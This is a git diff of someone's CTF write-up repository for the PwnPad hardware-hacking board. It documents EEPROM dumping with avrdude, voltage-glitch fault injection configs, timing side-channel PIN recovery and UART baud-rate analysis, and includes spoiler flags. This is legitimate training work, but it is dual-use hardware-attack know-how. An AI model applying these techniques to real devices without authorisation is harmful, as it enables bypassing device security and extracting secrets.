+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/docs/04_logic_02.png b/docs/04_logic_02.png
new file mode 100644
index 0000000..0f8368e
--- /dev/null
+++ b/docs/04_logic_02.png
Binary files differ
diff --git a/docs/04_setup.png b/docs/04_setup.png
new file mode 100644
index 0000000..41c193a
--- /dev/null
+++ b/docs/04_setup.png
Binary files differ
diff --git a/docs/05_GoB.png b/docs/05_GoB.png
new file mode 100644
index 0000000..24041fd
--- /dev/null
+++ b/docs/05_GoB.png
Binary files differ
diff --git a/docs/05_setup_01.png b/docs/05_setup_01.png
new file mode 100644
index 0000000..bed110a
--- /dev/null
+++ b/docs/05_setup_01.png
Binary files differ
diff --git a/docs/05_setup_02.png b/docs/05_setup_02.png
new file mode 100644
index 0000000..82f24d7
--- /dev/null
+++ b/docs/05_setup_02.png
Binary files differ
diff --git a/docs/07_GoB.png b/docs/07_GoB.png
new file mode 100644
index 0000000..34dc284
--- /dev/null
+++ b/docs/07_GoB.png
Binary files differ
diff --git a/docs/07_GoB_config.py b/docs/07_GoB_config.py
new file mode 100644
index 0000000..0ee78c6
--- /dev/null
+++ b/docs/07_GoB_config.py
@@ -0,0 +1,44 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', True], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+### name, enabled, string to match ###
+conditions = [
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/07_logic.png b/docs/07_logic.png
new file mode 100644
index 0000000..743ca35
--- /dev/null
+++ b/docs/07_logic.png
Binary files differ
diff --git a/docs/07_setup.png b/docs/07_setup.png
new file mode 100644
index 0000000..a5c5fc3
--- /dev/null
+++ b/docs/07_setup.png
Binary files differ
diff --git a/docs/08_GoB.png b/docs/08_GoB.png
new file mode 100644
index 0000000..242458c
--- /dev/null
+++ b/docs/08_GoB.png
Binary files differ
diff --git a/docs/08_GoB_config.py b/docs/08_GoB_config.py
new file mode 100644
index 0000000..1185630
--- /dev/null
+++ b/docs/08_GoB_config.py
@@ -0,0 +1,108 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+
+LENGTH = 10
+REPEAT = 10
+DELAY = 10
+
+###
+# ^ = pullup, v = pulldown
+###
+triggers = [
+ ['-', False], #0
+ ['^', False], #1
+ ['-', False], #2
+ ['-', False], #3
+ ['-', False], #4
+ ['-', False], #5
+ ['-', False], #6
+ ['-', False], #7
+]
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['rdy', False, "", 'setup_buttons'],
+ ['ok', False, "", 'button_ok'],
+ ['dash', False, "", 'button_dash'],
+ ['spce', False, "", 'button_space'],
+ ['dot', False, "", 'button_dot'],
+ ['check', False, "", 'echo_trigger_state'],
+ ["Flag", True, "TS{", "stop_glitch"],
+]
+
+######
+# Custom functions
+######
+def setup_buttons():
+ functions.run_output_low(0, 3000)
+ functions.run_output_low(1, 3000)
+ functions.run_output_low(2, 3000)
+ functions.run_output_low(3, 3000)
+
+def button_ok():
+ functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
+ functions.set_trigger_value(0, True)
+ functions.run_output_low(0, 3000)
+
+ last_state = functions.get_trigger_value(0)
+ start_time = time.time()
+
+ while True:
+ current_state = functions.get_trigger_value(0)
+
+ # Detect rising edge: 0 → 1
+ if last_state == 0 and current_state == 1:
+ functions.set_trigger_value(0, False)
+ functions.add_text("[code check complete]")
+ break
+
+ # Exit if 1 second has elapsed
+ if time.time() - start_time >= 1.0:
+ functions.add_text("[timeout: no input detected within 1 second]")
+ break
+
+ last_state = current_state
+ time.sleep(0.01) # Polling interval (10 ms)
+
+
+def button_dash():
+ functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(1, 3000)
+
+def button_space():
+ functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(2, 3000)
+
+def button_dot():
+ functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
+ functions.run_output_low(3, 3000)
+
+
+def echo_trigger_state():
+ for channel in range(8):
+ state = functions.get_trigger_value(channel)
+ if state == 1:
+ functions.add_text(f"Channel {channel}: HIGH")
+ else:
+ functions.add_text(f"Channel {channel}: LOW")
+
+def stop_glitch():
+ elapsed = functions.get_glitch_elapsed()
+
+ functions.set_trigger_value(1, False)
+ functions.set_uart_switch(False)
+
+ functions.glitching_switch(False)
+ functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/docs/08_logic.png b/docs/08_logic.png
new file mode 100644
index 0000000..e9e7189
--- /dev/null
+++ b/docs/08_logic.png
Binary files differ
diff --git a/docs/09_GoB.png b/docs/09_GoB.png
new file mode 100644
index 0000000..c772a3a
--- /dev/null
